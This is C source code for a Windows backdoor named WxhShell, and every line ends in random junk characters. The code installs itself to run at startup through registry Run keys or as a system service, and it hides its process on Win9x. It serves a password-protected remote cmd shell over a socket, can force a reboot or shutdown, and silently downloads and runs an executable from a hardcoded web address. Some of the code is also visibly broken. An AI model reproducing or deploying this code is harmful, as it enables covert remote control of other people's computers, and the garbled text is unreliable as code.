    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =;L|gtH"  
    if(Boot(SHUTDOWN)) 4W75T2q#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 ?C)&  
    else { 97Vtn4N3  
    closesocket(wsh); /vt3>d%B;  
    ExitThread(0); F,kZU$  
    } F59 TZI  
    break; W9&=xs6  
    } }e1ZbmW  
  // 获取shell w0. u\  
  case 's': { +{]j]OP  
    CmdShell(wsh); >P(.:_ ^p  
    closesocket(wsh); *~`(RV  
    ExitThread(0); h[ ZN+M  
    break; i8p6Xht  
  } jXJyc'm7  
  // 退出 6BlXLQ,8q  
  case 'x': { JF]JOI6.e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sO Y:e/_F  
    CloseIt(wsh); A/(a`"mK|'  
    break; _c07}aQ ],  
    } (FV >m  
  // 离开 (7Qo  
  case 'q': { hH.G#-JO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~*7]r`6\@  
    closesocket(wsh); GgU/ !@  
    WSACleanup(); SbZ6t$"  
    exit(1); [g,}gyeS(  
    break; \V:^h [ad  
        } z?zL97H  
  } +ZYn? #IQ  
  } !D6]JPX  
qs6aB0ln  
  // 提示信息 2wn2.\v M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `cO:<^%  
} 4i bc  
  } xw%0>K[  
7)m9"InDI  
  return; y`Fw-!'o  
} !>tL6+yj  
d9ihhqq3}  
// shell模块句柄 Bvj0^fSm  
int CmdShell(SOCKET sock) #ob/p#k  
{ G}*hM$F  
STARTUPINFO si; )u">it+  
ZeroMemory(&si,sizeof(si)); *hrd5na  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V&i;\9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sLFl!jX  
PROCESS_INFORMATION ProcessInfo; [aS*%Heu  
char cmdline[]="cmd"; X&zis1A<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E`q_bn  
  return 0; YIE<pX4Q7)  
} 8L XHk l  
:gT4K-O j  
// 自身启动模式 6~{C.No}  
int StartFromService(void) zDp2g)  
{ Z)!C'cb  
typedef struct J4utIGF  
{ :N@^?q{b  
  DWORD ExitStatus; z#N@ 0R  
  DWORD PebBaseAddress; 3T 9j@N77  
  DWORD AffinityMask; -&f$GUTJ  
  DWORD BasePriority; |{;G2G1[  
  ULONG UniqueProcessId; s{++w5s  
  ULONG InheritedFromUniqueProcessId; :,^gj  
}   PROCESS_BASIC_INFORMATION; K,]=6 Rj  
R+|hw;  
PROCNTQSIP NtQueryInformationProcess; )[  ,A_3E  
g0 [w-?f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .hiSw  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -di o5a  
0c &+|> !  
  HANDLE             hProcess; o  K@"f9  
  PROCESS_BASIC_INFORMATION pbi; VL^EHb7  
d _ e WcI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q\)F;:|  
  if(NULL == hInst ) return 0; p<2,=*2  
*"kM{*3:v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .pq%?&  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E4!Fupkpf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \ jA~9  
.543N<w  
  if (!NtQueryInformationProcess) return 0; pp2~Meg  
/(T?j!nPE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S'14hk<  
  if(!hProcess) return 0; Qd6FH2Pl  
WHI`/FM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =xrv~  
E9}C  #  
  CloseHandle(hProcess); zQA`/&=Y  
H"KCK6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OB7hlW  
if(hProcess==NULL) return 0; r>\bW)e  
'|4!5)/K  
HMODULE hMod; 2tLJU  Z1  
char procName[255]; eQ"E   
unsigned long cbNeeded; hcc/=_hA  
-&;TA0~;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {!`4iiF  
M;NX:mX9  
  CloseHandle(hProcess); 6RM/GM  
H-%v3d>3  
if(strstr(procName,"services")) return 1; // 以服务启动 _|]x2xb)  
8f7>?BUS,  
  return 0; // 注册表启动 2%> FR4a  
} j9,P/K$:w  
K#xv u1U  
// 主模块 xpI wrJO  
int StartWxhshell(LPSTR lpCmdLine) P$sxr  
{ AEuG v}#  
  SOCKET wsl; )i<j XZ:O  
BOOL val=TRUE; eq"]%s  
  int port=0; S$k&vc(0  
  struct sockaddr_in door; [2koe.?(  
b2]Kx&!  
  if(wscfg.ws_autoins) Install(); jIF |P-  
qNr} \J|  
port=atoi(lpCmdLine); {U1m.30n  
XM}hUJJW  
if(port<=0) port=wscfg.ws_port; Q^I\cAIB  
to\N i~a&  
  WSADATA data; CJ%I51F`X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  9a kH  
x:7IIvP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8D].MI^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bi:8(Q$w:`  
  door.sin_family = AF_INET; iOdpM{~*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fQ98(+6  
  door.sin_port = htons(port); Th[dW<  
d"NLE'R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { �{x7,  
closesocket(wsl); L]Mo;kT<Q  
return 1; *qMY22X  
} 2[CdZ(k]5  
iO[<1?  
  if(listen(wsl,2) == INVALID_SOCKET) { Il.K"ll  
closesocket(wsl); >f'g0g  
return 1; Ve=b16H  
} %bfZn9_m  
  Wxhshell(wsl); 'n|5ZhXPB  
  WSACleanup(); 6^Sa;  
kN>!2UfNS  
return 0; `"~%bS  
QM]YJr3r E  
} ZC}QId  
T)}) pt!V  
// 以NT服务方式启动 `lPfb[b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ipILG4  
{ kW (Bkuc)  
DWORD   status = 0; j7c3(*Pl  
  DWORD   specificError = 0xfffffff; wPl%20t  
go"Hf_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2"5v[,$1H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :Yks|VJ1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s@DLt+ O5  
  serviceStatus.dwWin32ExitCode     = 0; ;$tSb ~K+  
  serviceStatus.dwServiceSpecificExitCode = 0; Z8oK2Dw  
  serviceStatus.dwCheckPoint       = 0; ,(4K4pN  
  serviceStatus.dwWaitHint       = 0; M[uA@  
]~nKK@Rw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :aQt;C6Z>  
  if (hServiceStatusHandle==0) return; m6djeOl  
Wm3X[?V  
status = GetLastError(); 7)k\{&+P  
  if (status!=NO_ERROR) km40qO@3  
{ XrPfotj1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F>cv<l =6l  
    serviceStatus.dwCheckPoint       = 0; 4e1Y/ Xq`  
    serviceStatus.dwWaitHint       = 0; ]fD} ^s3G  
    serviceStatus.dwWin32ExitCode     = status; 8*fv'  
    serviceStatus.dwServiceSpecificExitCode = specificError; HKr Mim-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); : c[L3rJl  
    return; %[yJ4WL  
  } _l]fkk[T  
f9\X>zzB2|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JZ#[ 2mLh  
  serviceStatus.dwCheckPoint       = 0; &M '*6A  
  serviceStatus.dwWaitHint       = 0; $\! 7 {6a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,: ->ErP  
} (~en (  
A4ygW:  
// 处理NT服务事件,比如:启动、停止 P2*<GjV`S/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "T"h)L<  
{ ##o#eZq:"  
switch(fdwControl) ow#1="G,=  
{ h-D }'R  
case SERVICE_CONTROL_STOP: +U.I( 83F  
  serviceStatus.dwWin32ExitCode = 0; ]cN1c}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~= -RK$=  
  serviceStatus.dwCheckPoint   = 0; F3N6{ysK#  
  serviceStatus.dwWaitHint     = 0; BCcjK6'  
  { h=%_Ao<x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 69 o 7EA  
  } lA-h`rl /  
  return; l0hlM#  
case SERVICE_CONTROL_PAUSE: _7)n(1h[3b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ->{KVPHe{  
  break; +H2-ZXr  
case SERVICE_CONTROL_CONTINUE: 3Le{\}-$.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w'3iY,_ufC  
  break; -S+zmo8  
case SERVICE_CONTROL_INTERROGATE: {u9}bx'<  
  break; D1mfm.9_r^  
}; p[lA\@l[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GDy9qUV  
} gGS=cdlV  
zA"`!}*  
// 标准应用程序主函数 i2^>vYCsl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y]5 l.SV  
{ RAK-UN  
{ buy"X4  
// 获取操作系统版本 W8!Qv8rf  
OsIsNt=GetOsVer(); }-3mPy(*%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Uv~QUL3>  
T"}vAG( .O  
  // 从命令行安装 ^<-+@v*  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z*2Vpnqh\  
TvQo?  
  // 下载执行文件 qcGK2Qx  
if(wscfg.ws_downexe) { f f1c/c/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ',4iFuY  
  WinExec(wscfg.ws_filenam,SW_HIDE); K!]/(V(}  
} *r% c  
6B ?twh)  
if(!OsIsNt) { 0,8okA H  
// 如果时win9x,隐藏进程并且设置为注册表启动 |id <=Xf  
HideProc(); wg]LVW}  
StartWxhshell(lpCmdLine); d&s9t;@=  
} O5t[  
else O s.4)  
  if(StartFromService()) -\n@%$M]G  
  // 以服务方式启动 'oC) NpnH  
  StartServiceCtrlDispatcher(DispatchTable); _H=Uwi_g  
else ~BkCp pI  
  // 普通方式启动 g SAt@2*U2  
  StartWxhshell(lpCmdLine); U~l$\ c  
'!a'ZjYyi  
return 0; d$AWu{y  
} )D82N`c2\i  
.%C|+#&d  
mS~kJy_-  
/_#q@r4ZQ  
=========================================== f8.gT49I  
G<^{&E+=  
MO <3"@/,  
NS6:yX,/  
mcX/GO}  
9lDhIqx0~  
" J{&H+rd  
r_;N t  
#include <stdio.h> =6|&Jt  
#include <string.h> A7hVHxNJ-  
#include <windows.h> g!z&~Z:  
#include <winsock2.h> 1q1jZqno  
#include <winsvc.h> \A6B,|@  
#include <urlmon.h> :'&brp3ii=  
|WdPE@P  
#pragma comment (lib, "Ws2_32.lib") 3J438M.ka  
#pragma comment (lib, "urlmon.lib") yD6[\'%  
hzbw>g+  
#define MAX_USER   100 // 最大客户端连接数 Wh 2tNyS  
#define BUF_SOCK   200 // sock buffer v+=BCyT  
#define KEY_BUFF   255 // 输入 buffer 3nnJ8zQ  
Eue~Y+K*b  
#define REBOOT     0   // 重启 }sO&. ME  
#define SHUTDOWN   1   // 关机 \K]0JH  
B\:%ufd ~  
#define DEF_PORT   5000 // 监听端口 )sp4Ie  
h_IDO%  
#define REG_LEN     16   // 注册表键长度 %O;bAC_M  
#define SVC_LEN     80   // NT服务名长度 n`&U~s8w  
x6ARzH\  
// 从dll定义API 2q4<t:!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7y@Pa&^8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B=A [ymm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JyOo1E.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c+nq] xOs'  
0aa&m[Mk  
// wxhshell配置信息 (%W&4a1di  
struct WSCFG { T+k{W6  
  int ws_port;         // 监听端口 M8b;d}XL  
  char ws_passstr[REG_LEN]; // 口令 dIBE!4 V[  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?r2` Q  
  char ws_regname[REG_LEN]; // 注册表键名 Yv!a88+A8M  
  char ws_svcname[REG_LEN]; // 服务名 zb<6 Ov  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )Z?Ym.0/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #@~+HC=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B[-v[K2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nf"r4%M<6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oVe|M ss6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zt.|oYH$  
K_ ~"}  
}; ;^I*J:]  
$.rhRKs  
// default Wxhshell configuration Rn I&8  
struct WSCFG wscfg={DEF_PORT,  J@Q7p}  
    "xuhuanlingzhe", /j|G(vt5  
    1, .:QLk&a,:,  
    "Wxhshell", aL&7 1^R,  
    "Wxhshell", ,1CIBFY  
            "WxhShell Service", !XCm>]R  
    "Wrsky Windows CmdShell Service", xZwLlY  
    "Please Input Your Password: ", hUMf"=q+  
  1, |! E)GahM  
  "http://www.wrsky.com/wxhshell.exe", :'l^kSP_*C  
  "Wxhshell.exe" thM4vq   
    }; D"?fn<2  
r^a7MHY1  
// 消息定义模块 9g"2^^wD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i||]V*5n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wN-d'-z/rd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; scou%K  
char *msg_ws_ext="\n\rExit."; GV69eG3bX#  
char *msg_ws_end="\n\rQuit."; ;^%4Q"  
char *msg_ws_boot="\n\rReboot..."; QKN+>X  
char *msg_ws_poff="\n\rShutdown..."; 474SMx$  
char *msg_ws_down="\n\rSave to "; nd1+"-,q  
cH?B[S;]  
char *msg_ws_err="\n\rErr!"; 5ZK@`jkE  
char *msg_ws_ok="\n\rOK!"; Ix=}+K/  
Vq?p|wy  
char ExeFile[MAX_PATH]; ,+xB$e  
int nUser = 0; >X4u]>X  
HANDLE handles[MAX_USER]; F!Q@ u  
int OsIsNt;  jQ  
CtAwBQO  
SERVICE_STATUS       serviceStatus; u5 : q$P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /qGf 1MHD  
\2"I;  
// 函数声明 5r8< 7g:>C  
int Install(void); q~ZNd3O  
int Uninstall(void); 78# v  
int DownloadFile(char *sURL, SOCKET wsh); i?g5_HI  
int Boot(int flag); K&70{r  
void HideProc(void); k!HK 97qA  
int GetOsVer(void); #32"=MfQn  
int Wxhshell(SOCKET wsl); -pGE]nwDL  
void TalkWithClient(void *cs); Y>G@0r BG  
int CmdShell(SOCKET sock); 0ANZAX5  
int StartFromService(void); kZZh"#W: L  
int StartWxhshell(LPSTR lpCmdLine); cm[&?  
z>Hgkp8D"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $gy*D7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X4E%2-m@'  
a8iQ4   
// 数据结构和表定义 f@DYN!Z_m  
SERVICE_TABLE_ENTRY DispatchTable[] = h=kh@},  
{ `A^"% @j  
{wscfg.ws_svcname, NTServiceMain}, #( jw!d&  
{NULL, NULL} ,5, !es@`b  
}; E}p&2P+MR  
=L:4i\4  
// 自我安装 2h1C9n%j9  
int Install(void) aV?@s4  
{ +hT:2TXn  
  char svExeFile[MAX_PATH]; )oPLl|=h  
  HKEY key; ruzspS  
  strcpy(svExeFile,ExeFile); \LppYXz  
M)N?qRD  
// 如果是win9x系统,修改注册表设为自启动 }\#Rot>Y  
if(!OsIsNt) { TDNQu_E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HO%wHiv1X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \cUNsB5  
  RegCloseKey(key);  4/1d&Sg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WP+oFkw>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R0vIbFwj  
  RegCloseKey(key); 4K\(xd&Q  
  return 0; ]<pjXVRt"  
    } m~u5kbHOi=  
  } e5B Qr$j  
} ~ga`\% J  
else { TXk?#G\o  
% !>I*H  
// 如果是NT以上系统,安装为系统服务 x`mN U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #=f?0UTA  
if (schSCManager!=0) >wBJy4:  
{ ( ?{MEwHG  
  SC_HANDLE schService = CreateService Q=T&  
  ( j|%HIF25  
  schSCManager, ); dT_  
  wscfg.ws_svcname, be-~\@  
  wscfg.ws_svcdisp, jvFTR'R)=  
  SERVICE_ALL_ACCESS, M:3h e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vIwCJN1C  
  SERVICE_AUTO_START, :1^R9yWA4  
  SERVICE_ERROR_NORMAL, A"D,Kg S  
  svExeFile, b7tOo7aH)  
  NULL, : b~6i%b  
  NULL, [4C:r!  
  NULL, [uls8 "^/j  
  NULL, u1PaHgi$  
  NULL &c%g  
  ); &PK\|\\2  
  if (schService!=0) Q|L9g z[?  
  { rJ{O(n]j  
  CloseServiceHandle(schService); 1/-43B  
  CloseServiceHandle(schSCManager); )ZqJh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #w-xBM @  
  strcat(svExeFile,wscfg.ws_svcname); tAte)/0C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lh D,\3/O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @u%_1  
  RegCloseKey(key); EC8b=B<DE  
  return 0; .dQQoyR+O  
    } +H #U~p$  
  } WjwLM2<nK7  
  CloseServiceHandle(schSCManager); Ii_ojQP-z  
} 88h3|'*  
} ),!;| bh  
{0^&SI"5`E  
return 1; GF%314Xu  
} ehG/zVgn  
Ve!fU  
// 自我卸载 D{d>5P?W  
int Uninstall(void) sZm$|T0  
{ i21Gw41p:  
  HKEY key; i?e`:}T  
F^LZeF[#t  
if(!OsIsNt) { FMkzrs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c#]q^L\x  
  RegDeleteValue(key,wscfg.ws_regname); <_Q:'cx'  
  RegCloseKey(key); ?Ovqp-sw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $g+[yb7@  
  RegDeleteValue(key,wscfg.ws_regname); 5N*Ux4M  
  RegCloseKey(key); 7=OQ8IM !  
  return 0; /E5 5Pec  
  } L^4-5`gj  
} *`Yv.=cd  
} ;cz|ss=  
else { Ox'/` Mppw  
>P $;79<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~JD nKo  
if (schSCManager!=0) `zt_7MD  
{ Vy,^)]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;~u{56  
  if (schService!=0) k{$ ao  
  { (%o2jroQ#  
  if(DeleteService(schService)!=0) { 0`A~HH}  
  CloseServiceHandle(schService); 0}xFD6{X  
  CloseServiceHandle(schSCManager); k`p74MWu  
  return 0; ]t*[%4  
  } $aPfGZ<i  
  CloseServiceHandle(schService); ]&{ci  
  } @L:>!<  
  CloseServiceHandle(schSCManager); 01. &> Duw  
} 9Xo[(h)5d  
} zC:wNz@zK  
/?1nHBYPM  
return 1; dwv6;x  
} qTo-pA G`  
;h" P{fF   
// 从指定url下载文件 z.VyRBi0  
int DownloadFile(char *sURL, SOCKET wsh) >ap1"n9k  
{ R$Tp8G>j  
  HRESULT hr; { F};n?'  
char seps[]= "/"; 8Bq!4uq\5|  
char *token; S#Sb]  
char *file; MqA`yvQm  
char myURL[MAX_PATH]; &0BdUU+:<  
char myFILE[MAX_PATH]; aCxE5$~$  
LtKI3ou  
strcpy(myURL,sURL); d k<XzO~g  
  token=strtok(myURL,seps); NwR}yb6  
  while(token!=NULL) )Cw`"n  
  { ;kJA'|GX  
    file=token; 3#45m+D  
  token=strtok(NULL,seps); w7n373y%  
  } y tf b$;|  
D'hW|  
GetCurrentDirectory(MAX_PATH,myFILE); N#_GJSG_|  
strcat(myFILE, "\\"); V)i5=bHC  
strcat(myFILE, file); vuFBET,  
  send(wsh,myFILE,strlen(myFILE),0); |s)?cpb  
send(wsh,"...",3,0); 2',w[I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BiZ=${y  
  if(hr==S_OK) z|(+|pV(  
return 0; ii0Ce}8d~  
else wB{;bB{  
return 1; q;wLa#4)J  
"A)( "  
} xN@Pz)yo  
rUjdq/I:Z  
// 系统电源模块 oejfU;+$  
int Boot(int flag) M}wXJ8aF?  
{ Ep4Hqx $  
  HANDLE hToken; FHPXu59u  
  TOKEN_PRIVILEGES tkp; !HJ$UG/\  
AisN@  
  if(OsIsNt) { [J0 v&{)?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N8`4veVBx'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DF{ Qw@P!  
    tkp.PrivilegeCount = 1; P0-Fc@&Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x/ :4 {  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :ECi+DxBK  
if(flag==REBOOT) { M8b4NF_&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sW^a`VM  
  return 0; =_8Tp~j  
} `j9$T:`  
else { ^:jN3@ Q%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yRYWch  
  return 0; R, 8s_jN  
} x)_@9ldYv  
  } m%8q Zzqk  
  else { DBs*F x[  
if(flag==REBOOT) { ?n\*,{9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .~gl19#:T  
  return 0; nB ".'=  
} Jj^GWZRu  
else { Z_1*YRBY;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (:+>#V)pZ  
  return 0; T^}  
} l**;k+hw  
} RP`2)/sMT  
\M/6m^zS  
return 1; <vbIp&  
} %AnW~v  
l~Lb!;,dN  
// win9x进程隐藏模块 )2E%b+"  
void HideProc(void) ^5t  
{ Ut)r&?  
2_t=P|Uo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FCc=e{  
  if ( hKernel != NULL ) -6Mm#sX  
  { B )JM%r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O;]?gj 1@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G8Y+w  
    FreeLibrary(hKernel); cxYfZ4++m  
  } ]> Y/r-!  
L{ymI) Y^  
return; 7CB#YP?E  
} u.|~$yP.!  
EC?Efc+O  
// 获取操作系统版本 i(6J>^I  
int GetOsVer(void) Kt.~aaG_  
{ ;#G%U!p  
  OSVERSIONINFO winfo; sxED7,A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0D(cXzQP  
  GetVersionEx(&winfo); R& =f:sEi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8"vwU@cfC  
  return 1; HpexH{.u)  
  else Ok%}|/ P4  
  return 0; '?GQ~Bf<>  
} ELh3 ^  
xkA2g[  
// 客户端句柄模块 .]}N55M  
int Wxhshell(SOCKET wsl) DjW$?>  
{ W%!@QY;E(  
  SOCKET wsh; K.SeK3(  
  struct sockaddr_in client; y^FOsr  
  DWORD myID; _hCJ|Rrln  
<V_7|)'/A  
  while(nUser<MAX_USER) >AI<60/<  
{ *N/hc  
  int nSize=sizeof(client); ad`_>lA4Lp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pcu|k/tk  
  if(wsh==INVALID_SOCKET) return 1; ev>oC~>s  
0d\~"4 R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f3 ]  
if(handles[nUser]==0) rvwy~hO"  
  closesocket(wsh); 3,.% s  
else -0,4eg j3  
  nUser++; +EASAq  
  } 8kW/DcLE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %TK&)Q% h5  
4^!4eyQ^  
  return 0; w&lZ42(mF  
} 5su.+4z\  
;>2#@QP  
// 关闭 socket vg8O] YF  
void CloseIt(SOCKET wsh) BEw{X|7  
{ +CTmcbyOi  
closesocket(wsh); }BN\/;<A  
nUser--; F$hZRZ  
ExitThread(0); Ud3""C5B  
} GH3#E*t+[  
Qp!Y.YnPd_  
// 客户端请求句柄 cINHH !v  
void TalkWithClient(void *cs) H|+tC=]4IZ  
{ 5iWe-xQ>  
4-:7.I(hq  
  SOCKET wsh=(SOCKET)cs; =p\Xy*  
  char pwd[SVC_LEN]; ,sb1"^Wc  
  char cmd[KEY_BUFF]; ~|) 9RUXr>  
char chr[1]; ?TuI:dC  
int i,j; "]]q} O?  
d]M[C[TOX  
  while (nUser < MAX_USER) { R^Bk]  
} 21j  
if(wscfg.ws_passstr) { .u< U:*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '>^Xqn  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ( D}" &2  
  //ZeroMemory(pwd,KEY_BUFF); |@`"F5@,  
      i=0; *:arva5  
  while(i<SVC_LEN) { Sa}D.SBg  
bc}dYK3$q  
  // 设置超时 \X@IkL$r  
  fd_set FdRead; 56s*A*z$ ;  
  struct timeval TimeOut; -fux2?8M  
  FD_ZERO(&FdRead); YIDg'a+z  
  FD_SET(wsh,&FdRead); cjg=nTsBA  
  TimeOut.tv_sec=8; dp^N_9$cdO  
  TimeOut.tv_usec=0; v"k 4ATWP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &]3:D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yzc pG6 ,  
1!s28C5u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *:QXz<_x+  
  pwd=chr[0]; j+1KNH  
  if(chr[0]==0xd || chr[0]==0xa) { YkbO&~.  
  pwd=0; DM2Q1Dh3  
  break; YZ[%uArm  
  } R|t;p!T  
  i++; #,P(isEZ"  
    } Gj`f--2GE  
HIPL!ss]  
  // 如果是非法用户,关闭 socket kGD|c=K}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mG}k 3e-  
} `D)S-7BR  
+(AwSh!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @9_)On9hZ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]7F)bIG[  
Z1]"[U[;  
while(1) { q)Je.6$#X  
WOH9%xv  
  ZeroMemory(cmd,KEY_BUFF); l%bq2,-%  
fNEz  
      // 自动支持客户端 telnet标准   |E|T%i^}./  
  j=0; /'Bdq?!B&  
  while(j<KEY_BUFF) { /\~W$.c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M,L@k  
  cmd[j]=chr[0]; 3*\8p6G  
  if(chr[0]==0xa || chr[0]==0xd) { dP3VJ3+ %  
  cmd[j]=0; t~~r-V":  
  break; kGj]i@(PA4  
  } o*)@oU  
  j++; g*r/u;  
    } STp!8mL  
5V rcR=?O  
  // 下载文件 W^ClHQ"Iy  
  if(strstr(cmd,"http://")) { `1_FQnm)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *(VbPp_H_  
  if(DownloadFile(cmd,wsh)) D'?]yyrf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \I xzdFF#  
  else Wy,"cT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ct.Bg)E  
  } ;q&Z9 lm  
